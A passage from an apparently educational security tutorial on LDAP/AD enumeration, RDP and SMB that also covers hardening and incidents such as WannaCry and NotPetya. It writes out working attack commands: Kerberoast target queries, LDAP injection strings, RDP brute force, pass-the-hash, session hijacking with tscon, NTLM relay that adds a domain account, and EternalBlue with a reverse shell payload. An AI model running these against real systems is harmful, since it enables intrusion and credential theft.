  (&amp;amp;(objectClass=user)(memberOf=CN=Domain Admins,CN=Builtin,DC=company,DC=com))
                                  All Domain Admin members
  (adminCount=1)                  Protected users (all privileged accounts)
  (&amp;amp;(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))
                                  Accounts with "password never expires"
  (&amp;amp;(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))
                                  Disabled accounts
  (servicePrincipalName=*)        Accounts with SPNs (Kerberoasting targets!)
  (&amp;amp;(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2))(userAccountControl:1.2.840.113556.1.4.803:=4194304))
                                  AS-REP Roasting targets (no pre-auth required)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  9.2 LDAP in Attack Workflows
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Anonymous LDAP Bind (Null Bind):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check if null bind (anonymous authentication) is allowed:&lt;/span&gt;
ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; ldap://target_dc &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; base &lt;span class="s2"&gt;"(objectClass=*)"&lt;/span&gt; namingContexts
&lt;span class="c"&gt;# -x: simple authentication&lt;/span&gt;
&lt;span class="c"&gt;# -H: LDAP server URI&lt;/span&gt;
&lt;span class="c"&gt;# -b "": search base (empty for root DSE)&lt;/span&gt;
&lt;span class="c"&gt;# -s base: scope = base only&lt;/span&gt;
&lt;span class="c"&gt;# If success: shows naming contexts (domain names) without credentials&lt;/span&gt;

&lt;span class="c"&gt;# Check if null bind allows reading AD:&lt;/span&gt;
ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; ldap://192.168.1.10 &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"DC=company,DC=com"&lt;/span&gt; &lt;span class="s2"&gt;"(objectClass=user)"&lt;/span&gt; sAMAccountName
&lt;span class="c"&gt;# If returns user list without credentials: critical misconfiguration&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Authenticated LDAP Enumeration:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# With valid domain credentials (regular user is enough):&lt;/span&gt;
ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; ldap://dc.company.com &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-D&lt;/span&gt; &lt;span class="s2"&gt;"CN=john,OU=Users,DC=company,DC=com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-w&lt;/span&gt; password &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"DC=company,DC=com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s2"&gt;"(objectClass=user)"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    sAMAccountName mail memberOf

&lt;span class="c"&gt;# Find Domain Admins:&lt;/span&gt;
ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; ldap://dc.company.com &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-D&lt;/span&gt; &lt;span class="s2"&gt;"john@company.com"&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; password &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"DC=company,DC=com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s2"&gt;"(&amp;amp;(objectClass=user)(memberOf=CN=Domain Admins,CN=Builtin,DC=company,DC=com))"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    sAMAccountName

&lt;span class="c"&gt;# Find Kerberoastable accounts (have SPN):&lt;/span&gt;
ldapsearch &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; ldap://dc.company.com &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-D&lt;/span&gt; &lt;span class="s2"&gt;"john@company.com"&lt;/span&gt; &lt;span class="nt"&gt;-w&lt;/span&gt; password &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"DC=company,DC=com"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="s2"&gt;"(servicePrincipalName=*)"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
    sAMAccountName servicePrincipalName

&lt;span class="c"&gt;# PowerShell (Windows):&lt;/span&gt;
&lt;span class="c"&gt;# Get-ADUser -Filter * -Properties * | Select sAMAccountName,Enabled,PasswordNeverExpires&lt;/span&gt;
&lt;span class="c"&gt;# Get-ADGroupMember "Domain Admins" | Select Name,SamAccountName&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Tools for LDAP/AD Enumeration:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# BloodHound — graphical AD attack path analysis&lt;/span&gt;
&lt;span class="c"&gt;# Requires: BloodHound + Neo4j database&lt;/span&gt;
&lt;span class="c"&gt;# SharpHound collector (run on Windows):&lt;/span&gt;
.&lt;span class="se"&gt;\S&lt;/span&gt;harpHound.exe &lt;span class="nt"&gt;-c&lt;/span&gt; All                &lt;span class="c"&gt;# Collect all data&lt;/span&gt;

&lt;span class="c"&gt;# BloodHound.py (Python, run from Linux):&lt;/span&gt;
bloodhound-python &lt;span class="nt"&gt;-u&lt;/span&gt; john &lt;span class="nt"&gt;-p&lt;/span&gt; password &lt;span class="nt"&gt;-d&lt;/span&gt; company.com &lt;span class="nt"&gt;-dc&lt;/span&gt; dc.company.com &lt;span class="nt"&gt;-c&lt;/span&gt; All

&lt;span class="c"&gt;# Import to BloodHound GUI and find:&lt;/span&gt;
&lt;span class="c"&gt;# - Shortest path to Domain Admin&lt;/span&gt;
&lt;span class="c"&gt;# - Users with never-expiring passwords&lt;/span&gt;
&lt;span class="c"&gt;# - Kerberoastable accounts&lt;/span&gt;
&lt;span class="c"&gt;# - AS-REP Roastable accounts&lt;/span&gt;

&lt;span class="c"&gt;# ldapdomaindump — comprehensive AD dump:&lt;/span&gt;
ldapdomaindump &lt;span class="nt"&gt;-u&lt;/span&gt; company&lt;span class="se"&gt;\\&lt;/span&gt;john &lt;span class="nt"&gt;-p&lt;/span&gt; password dc.company.com
&lt;span class="c"&gt;# Outputs HTML/JSON reports of all users, computers, groups, GPOs&lt;/span&gt;

&lt;span class="c"&gt;# PowerView (PowerShell, requires domain user):&lt;/span&gt;
&lt;span class="c"&gt;# Import-Module PowerView.ps1&lt;/span&gt;
&lt;span class="c"&gt;# Get-DomainUser&lt;/span&gt;
&lt;span class="c"&gt;# Get-DomainGroupMember "Domain Admins"&lt;/span&gt;
&lt;span class="c"&gt;# Get-DomainComputer&lt;/span&gt;
&lt;span class="c"&gt;# Invoke-Kerberoast -OutputFormat Hashcat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;LDAP Injection:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;If an application builds LDAP queries from user input without sanitisation:

Vulnerable query construction:
  (&amp;amp;(objectClass=user)(sAMAccountName=USERINPUT))

User input: admin)(&amp;amp;)
Resulting query: (&amp;amp;(objectClass=user)(sAMAccountName=admin)(&amp;amp;))
Effect: bypass authentication (always true)

User input: *
Resulting query: (&amp;amp;(objectClass=user)(sAMAccountName=*))
Effect: returns ALL users (information disclosure)

Test for LDAP injection:
  In login username field: *)(&amp;amp;
  In search fields: *)(objectClass=*

Tools: 
  Burp Suite: manually modify parameters and observe response
  LDAPi: LDAP injection testing tool
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; LDAP is the query language for Active Directory — the identity backbone of every enterprise. Any user with a domain account can query LDAP extensively. This is by design (employees need to look up contacts). But it means every domain user can enumerate all users, computers, groups, and service accounts. BloodHound leverages LDAP enumeration to graphically display every privilege escalation path to Domain Admin. In OT environments, LDAP queries from OT machines to the corporate AD represent a data flow that attackers exploit for lateral movement.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  10. RDP — Remote Desktop Protocol
&lt;/h2&gt;

&lt;h3&gt;
  
  
  10.1 RDP Architecture
&lt;/h3&gt;

&lt;p&gt;RDP (Remote Desktop Protocol) provides graphical remote access to Windows systems. It runs over TCP port 3389 (and UDP 3389 for enhanced performance in RDP 8+).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;RDP connection establishment:
1. TCP handshake (port 3389)
2. RDP Connection Request — negotiates protocols
3. Server sends X.224 Connection Confirm
4. Negotiates security: SSL/TLS, CredSSP (NLA), or RDP security
5. License exchange (server verifies client licenses)
6. Capabilities exchange (color depth, audio, clipboard, drive redirection)
7. Authentication (CredSSP/NLA sends credentials before desktop)
8. Channel setup (virtual channels for clipboard, audio, drive, printer)
9. Bitmap updates begin — graphical desktop sent

Security mechanisms:
  Classic RDP security: RC4 encryption of bitmap data (WEAK — deprecated)
  TLS: Transport layer encryption (better)
  Network Level Authentication (NLA): Credentials authenticated BEFORE
      desktop loads. Server validates user before creating session.
      Prevents unauthenticated resource exhaustion.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.2 RDP Vulnerabilities
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;BlueKeep (CVE-2019-0708):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Discovery: May 2019, Microsoft
Severity: CVSS 9.8 — Critical
Affected: Windows XP, Vista, 7, Server 2003, Server 2008, Server 2008 R2
Impact: Remote code execution, no authentication required, wormable

How it works:
  RDP uses "channels" for different data types
  MS_T120 channel — a bug in how RDP handles this channel's binding
  Attacker sends malformed MS_T120 bind request
  Use-after-free vulnerability in the RDP driver (rdpwdd.sys)
  Achieves kernel-level code execution

Why it was terrifying:
  - No credentials required (pre-auth)
  - No user interaction
  - Kernel-level (SYSTEM) compromise
  - Wormable — could spread automatically (like WannaCry)
  - ~1 million vulnerable systems exposed to internet at time of disclosure
  - Microsoft issued patches for out-of-support Windows XP (first time since 2014)

Exploitation:
  Metasploit module: exploit/windows/rdp/cve_2019_0708_bluekeep_rce
  Public PoCs available

Mitigations:
  Patch (KB4499175 for Server 2008, KB4499180 for Windows 7)
  Enable NLA (unauthenticated connection attempt rejected before code reaches vulnerability)
  Block external RDP (firewall port 3389 from internet)
  Disable RDP if not needed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DejaBlue (CVE-2019-1181, CVE-2019-1182):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Discovery: August 2019 (two months after BlueKeep)
Affected: Windows 8, 10, Server 2012, 2016, 2019 (newer systems — BlueKeep missed these)
Impact: Pre-auth, unauthenticated RCE (same class as BlueKeep)
Wormable: Yes
Mitigation: Patch (August 2019 Patch Tuesday)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;PrintNightmare via RDP (CVE-2021-1675, CVE-2021-34527):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;While a different vulnerability (Print Spooler), RDP was often the initial access vector:
  1. BlueKeep/DejaBlue for initial RDP access
  2. PrintNightmare for privilege escalation to SYSTEM
  Combined: full attack chain from network to SYSTEM
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.3 RDP Attack Techniques
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Scan for RDP:&lt;/span&gt;
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 3389 192.168.1.0/24
nmap &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; 3389 &lt;span class="nt"&gt;--script&lt;/span&gt; rdp-enum-encryption target_ip

&lt;span class="c"&gt;# Check encryption level and NLA requirement:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; rdp-enum-encryption &lt;span class="nt"&gt;-p&lt;/span&gt; 3389 target_ip
&lt;span class="c"&gt;# Outputs supported security protocols&lt;/span&gt;

&lt;span class="c"&gt;# Brute force RDP:&lt;/span&gt;
hydra &lt;span class="nt"&gt;-L&lt;/span&gt; users.txt &lt;span class="nt"&gt;-P&lt;/span&gt; passwords.txt rdp://target_ip
crowbar &lt;span class="nt"&gt;-b&lt;/span&gt; rdp &lt;span class="nt"&gt;-s&lt;/span&gt; target_ip &lt;span class="nt"&gt;-u&lt;/span&gt; admin &lt;span class="nt"&gt;-C&lt;/span&gt; passwords.txt

&lt;span class="c"&gt;# Check BlueKeep vulnerability:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; rdp-vuln-ms12-020 &lt;span class="nt"&gt;-p&lt;/span&gt; 3389 target_ip
&lt;span class="c"&gt;# Or use Metasploit scanner:&lt;/span&gt;
&lt;span class="c"&gt;# use auxiliary/scanner/rdp/cve_2019_0708_bluekeep&lt;/span&gt;
&lt;span class="c"&gt;# set RHOSTS target_ip&lt;/span&gt;
&lt;span class="c"&gt;# run&lt;/span&gt;

&lt;span class="c"&gt;# RDP screenshot without credentials (if CredSSP disabled):&lt;/span&gt;
&lt;span class="c"&gt;# nmap script or specific PoC tools&lt;/span&gt;

&lt;span class="c"&gt;# Pass-the-Hash via RDP:&lt;/span&gt;
&lt;span class="c"&gt;# With NTLM hash (not password):&lt;/span&gt;
xfreerdp /u:Administrator /pth:NTLM_HASH /v:target_ip
&lt;span class="c"&gt;# This works when NLA uses NTLM authentication (not Kerberos)&lt;/span&gt;

&lt;span class="c"&gt;# Capture RDP credentials from network (requires MITM position):&lt;/span&gt;
&lt;span class="c"&gt;# Seth: https://github.com/SySS-Research/Seth&lt;/span&gt;
&lt;span class="c"&gt;# Performs MITM, downgrades RDP security, captures credentials&lt;/span&gt;
python seth.py eth0 target_ip gateway_ip
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;RDP Session Hijacking:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;On a Windows system as SYSTEM, you can hijack existing RDP sessions
without knowing the user&lt;span class="s1"&gt;'s password:

# List all sessions:
query session        # or: qwinsta

# Output:
# SESSIONNAME  USERNAME  ID  STATE   TYPE   DEVICE
# console      alice     1   Active
# rdp-tcp#0    bob       2   Active

# Hijack Bob'&lt;/span&gt;s session &lt;span class="o"&gt;(&lt;/span&gt;as SYSTEM, no password needed&lt;span class="o"&gt;)&lt;/span&gt;:
tscon 2 /dest:console
&lt;span class="c"&gt;# This moves Bob's session to the console, giving you his desktop as Bob&lt;/span&gt;
&lt;span class="c"&gt;# Bob gets disconnected&lt;/span&gt;

&lt;span class="c"&gt;# Alternative method:&lt;/span&gt;
sc create MyService &lt;span class="nv"&gt;binpath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"cmd.exe /k tscon 2 /dest:rdp-tcp#3"&lt;/span&gt;
net start MyService
&lt;span class="c"&gt;# Creates a service as SYSTEM, executes tscon as SYSTEM → hijack&lt;/span&gt;

&lt;span class="c"&gt;# This is used for:&lt;/span&gt;
&lt;span class="c"&gt;# - Lateral movement (pivot from low-privilege RDP session to higher-privilege)&lt;/span&gt;
&lt;span class="c"&gt;# - Credential access (Bob's session has his email, credentials cached)&lt;/span&gt;
&lt;span class="c"&gt;# - Persistence (maintain access through legitimate-looking session)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  10.4 RDP Hardening
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;1. Require Network Level Authentication (NLA):
   gpedit.msc → Computer Configuration → Windows Settings →
   Security Settings → Local Policies → Security Options →
   "Require user authentication for remote connections" → Enabled

   Or via registry:
   HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
   UserAuthentication = 1

2. Limit RDP access by firewall:
   Only allow RDP from specific management IPs
   Never expose RDP to the internet directly

3. Use RDP Gateway:
   HTTPS-based gateway for RDP access from internet
   Single point with MFA, audit logging, session recording

4. Restrict user accounts that can RDP:
   Only specific accounts in "Remote Desktop Users" group
   Never allow default Administrator account to RDP

5. Account lockout policy:
   Lock account after 5 failed attempts for 30 minutes
   Mitigates brute force

6. Idle session limits:
   Disconnect idle sessions (prevent session hijacking window)
   "Set time limit for disconnected sessions" = 1 hour

7. RDP on non-standard port (minimal security benefit):
   Reduces automated scanning noise, but determined attacker scans all ports
   Not a substitute for any real control

8. Enable RDP logging:
   Event IDs:
   4624 (Logon Type 10): Successful RDP logon
   4625: Failed RDP logon
   4778: RDP session reconnected
   4779: RDP session disconnected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; RDP is the single most exposed Windows service on the internet. Over 3.5 million RDP endpoints are directly exposed to the internet (Shodan, 2024). BlueKeep, DejaBlue, and a series of subsequent vulnerabilities have repeatedly demonstrated pre-authentication RCE against RDP. The only acceptable exposure posture is: RDP never directly on internet, always through VPN or RDP Gateway with MFA, NLA mandatory, account lockout active.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  11. SMB — Server Message Block
&lt;/h2&gt;

&lt;h3&gt;
  
  
  11.1 SMB Architecture
&lt;/h3&gt;

&lt;p&gt;SMB (Server Message Block) is the Windows file and printer sharing protocol. It enables:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;File and directory access across the network&lt;/li&gt;
&lt;li&gt;Printer sharing&lt;/li&gt;
&lt;li&gt;Named pipes (inter-process communication, including RPC)&lt;/li&gt;
&lt;li&gt;Authentication via NTLM or Kerberos
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;SMB Ports:
  TCP 445: Direct SMB (modern, preferred)
  TCP 139: SMB over NetBIOS Session Service (legacy)
  UDP 137: NetBIOS Name Service
  UDP 138: NetBIOS Datagram Service

SMB Versions:
  SMB 1.0 (1983): Original. No encryption. Multiple critical vulnerabilities.
                  MUST be disabled everywhere. EternalBlue exploits SMBv1.
  SMB 2.0 (2006): Vista/Server 2008. Significantly improved performance and security.
  SMB 2.1 (2010): Windows 7/Server 2008 R2. Minor improvements.
  SMB 3.0 (2012): Windows 8/Server 2012. Encryption support (AES-128-CCM).
  SMB 3.0.2 (2014): Improvements.
  SMB 3.1.1 (2015): Windows 10/Server 2016. Pre-authentication integrity,
                    AES-128-GCM encryption, secure negotiation.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.2 SMB Authentication — NTLM and Kerberos
&lt;/h3&gt;

&lt;p&gt;SMB authentication uses either NTLM (challenge-response) or Kerberos. Understanding the authentication flow is essential because it is the foundation of many Windows attack techniques.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NTLM Authentication Flow:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Client                                    Server
  │                                          │
  │──── Session Setup (NTLMSSP_NEGOTIATE) →  │
  │                                          │
  │ ←── Challenge (8-byte random nonce) ──── │
  │                                          │
  │──── Response ───────────────────────→    │
  │     NT Hash = MD4(password)              │
  │     Response = HMAC-MD5(NT_Hash,         │
  │                challenge + client_nonce)  │
  │     Username, domain, workstation        │
  │                                          │
  │   [Server validates response with DC]    │
  │ ←── Session Setup Response ──────────── │
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Pass-the-Hash:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Attack discovered by Paul Ashton, 1997:
  NTLM authentication uses the NT Hash of the password, not the password itself
  If attacker obtains the NT Hash (from memory dump, SAM, NTDS.dit):
  Attacker can authenticate AS THAT USER without knowing the password

Tools:
  impacket-smbexec: smbexec.py -hashes ':NTLM_HASH' DOMAIN/Administrator@target
  impacket-wmiexec: wmiexec.py -hashes ':NTLM_HASH' DOMAIN/Administrator@target
  CrackMapExec: cme smb target -u Administrator -H NTLM_HASH
  Mimikatz (local PTH): sekurlsa::pth /user:Administrator /domain:. /ntlm:HASH /run:cmd

  pth-winexe (Kali): pth-winexe -U Administrator%HASH //target cmd.exe
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;NTLM Relay Attack:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Attack:
  NTLM authentication can be relayed to another host
  If victim authenticates to attacker, attacker relays credentials to a third server
  Attacker gains access to third server AS the victim user

Scenario:
  1. Attacker runs Responder &lt;span class="o"&gt;(&lt;/span&gt;LLMNR/NBT-NS poisoner&lt;span class="o"&gt;)&lt;/span&gt;
  2. Victim&lt;span class="s1"&gt;'s machine tries to connect to \\mistyped-server
  3. LLMNR broadcast: "Who is mistyped-server?"
  4. Responder answers: "I am mistyped-server"
  5. Victim sends NTLM authentication to Responder/attacker
  6. Attacker relays this authentication to real target server (e.g., DC)
  7. Attacker gains access to target server as victim user

  If victim is Domain Admin: attacker gets Domain Admin on the target

Tool: impacket ntlmrelayx
ntlmrelayx.py -tf targets.txt -smb2support
# While Responder captures hashes, ntlmrelayx relays them

# Combined attack:
# Terminal 1: responder -I eth0 -A (analyse mode, no poisoning — ntlmrelayx does that)
# Terminal 2: ntlmrelayx.py -tf targets.txt -smb2support
# Or for domain admin: ntlmrelayx.py -tf dcs.txt -smb2support -c "net user attacker Password1 /add /domain"
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.3 EternalBlue — The Most Destructive Exploit in History
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CVE-2017-0144 (EternalBlue):
  Discovered by: NSA (leaked by Shadow Brokers, April 2017)
  Patched: MS17-010 (March 2017, before Shadow Brokers leak)

  Vulnerability: SMBv1 transaction handling buffer overflow
  Impact: Remote code execution as SYSTEM, no authentication required

  WannaCry (May 2017):
    Used EternalBlue + DoublePulsar (NSA backdoor installer)
    200,000 victims in 150 countries in 72 hours
    NHS UK: 80 hospitals affected, surgeries cancelled, patient records inaccessible
    Telefónica, FedEx, Renault, Deutsche Bahn, Russia's Interior Ministry
    Total damage: $4 billion+

  NotPetya (June 2017):
    Also used EternalBlue
    Disguised as ransomware, actually a destructive wiper
    Specifically targeted Ukraine but spread globally
    Maersk: $300 million loss, had to reinstall 45,000 PCs, 4,000 servers, 2,500 apps
    Merck: $870 million loss
    FedEx (TNT): $400 million loss
    Total damage: $10 billion+
    Classified as "most destructive cyberattack in history"

  Key lesson: Unpatched SMBv1 was the entry point.
              The vulnerability was known and patched before WannaCry.
              Both attacks were entirely preventable.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  11.4 SMB Enumeration and Attacks
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Check SMBv1 status:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-protocols &lt;span class="nt"&gt;-p&lt;/span&gt; 445 target_ip
&lt;span class="c"&gt;# Output shows supported SMB versions&lt;/span&gt;

&lt;span class="c"&gt;# Check for EternalBlue vulnerability:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb-vuln-ms17-010 &lt;span class="nt"&gt;-p&lt;/span&gt; 445 target_ip

&lt;span class="c"&gt;# List SMB shares (null session):&lt;/span&gt;
smbclient &lt;span class="nt"&gt;-L&lt;/span&gt; //target_ip &lt;span class="nt"&gt;-N&lt;/span&gt;              &lt;span class="c"&gt;# -N = no password (null session)&lt;/span&gt;
smbclient &lt;span class="nt"&gt;-L&lt;/span&gt; //target_ip &lt;span class="nt"&gt;-U&lt;/span&gt; anonymous   &lt;span class="c"&gt;# Anonymous authentication&lt;/span&gt;

&lt;span class="c"&gt;# List shares with credentials:&lt;/span&gt;
smbclient &lt;span class="nt"&gt;-L&lt;/span&gt; //target_ip &lt;span class="nt"&gt;-U&lt;/span&gt; username%password
impacket-smbclient username:password@target_ip

&lt;span class="c"&gt;# CrackMapExec — comprehensive SMB assessment:&lt;/span&gt;
cme smb 192.168.1.0/24                              &lt;span class="c"&gt;# Enumerate all SMB hosts&lt;/span&gt;
cme smb 192.168.1.100 &lt;span class="nt"&gt;-u&lt;/span&gt; admin &lt;span class="nt"&gt;-p&lt;/span&gt; password          &lt;span class="c"&gt;# Authenticate&lt;/span&gt;
cme smb 192.168.1.100 &lt;span class="nt"&gt;-u&lt;/span&gt; admin &lt;span class="nt"&gt;-p&lt;/span&gt; password &lt;span class="nt"&gt;--shares&lt;/span&gt; &lt;span class="c"&gt;# List shares&lt;/span&gt;
cme smb 192.168.1.100 &lt;span class="nt"&gt;-u&lt;/span&gt; admin &lt;span class="nt"&gt;-p&lt;/span&gt; password &lt;span class="nt"&gt;--users&lt;/span&gt;  &lt;span class="c"&gt;# List domain users&lt;/span&gt;
cme smb 192.168.1.100 &lt;span class="nt"&gt;-u&lt;/span&gt; admin &lt;span class="nt"&gt;-p&lt;/span&gt; password &lt;span class="nt"&gt;--groups&lt;/span&gt; &lt;span class="c"&gt;# List groups&lt;/span&gt;
cme smb 192.168.1.100 &lt;span class="nt"&gt;-u&lt;/span&gt; admin &lt;span class="nt"&gt;-p&lt;/span&gt; password &lt;span class="nt"&gt;-x&lt;/span&gt; &lt;span class="s2"&gt;"ipconfig"&lt;/span&gt; &lt;span class="c"&gt;# Execute command&lt;/span&gt;

&lt;span class="c"&gt;# Check SMB signing:&lt;/span&gt;
nmap &lt;span class="nt"&gt;--script&lt;/span&gt; smb2-security-mode &lt;span class="nt"&gt;-p&lt;/span&gt; 445 192.168.1.0/24
cme smb 192.168.1.0/24 &lt;span class="nt"&gt;--gen-relay-list&lt;/span&gt; relay_targets.txt
&lt;span class="c"&gt;# "Message signing enabled but not required" = vulnerable to NTLM relay&lt;/span&gt;

&lt;span class="c"&gt;# Enumerate shares and find readable ones:&lt;/span&gt;
smbmap &lt;span class="nt"&gt;-H&lt;/span&gt; target_ip                                &lt;span class="c"&gt;# List all shares + permissions&lt;/span&gt;
smbmap &lt;span class="nt"&gt;-H&lt;/span&gt; target_ip &lt;span class="nt"&gt;-u&lt;/span&gt; admin &lt;span class="nt"&gt;-p&lt;/span&gt; password &lt;span class="nt"&gt;-R&lt;/span&gt;        &lt;span class="c"&gt;# Recursive listing&lt;/span&gt;

&lt;span class="c"&gt;# Access a share:&lt;/span&gt;
smbclient //target_ip/share_name &lt;span class="nt"&gt;-U&lt;/span&gt; username%password
&lt;span class="c"&gt;# smb: \&amp;gt; ls         ← list files&lt;/span&gt;
&lt;span class="c"&gt;# smb: \&amp;gt; get file   ← download file&lt;/span&gt;
&lt;span class="c"&gt;# smb: \&amp;gt; put file   ← upload file&lt;/span&gt;

&lt;span class="c"&gt;# Exploit EternalBlue with Metasploit:&lt;/span&gt;
&lt;span class="c"&gt;# use exploit/windows/smb/ms17_010_eternalblue&lt;/span&gt;
&lt;span class="c"&gt;# set RHOSTS target_ip&lt;/span&gt;
&lt;span class="c"&gt;# set PAYLOAD windows/x64/meterpreter/reverse_tcp&lt;/span&gt;
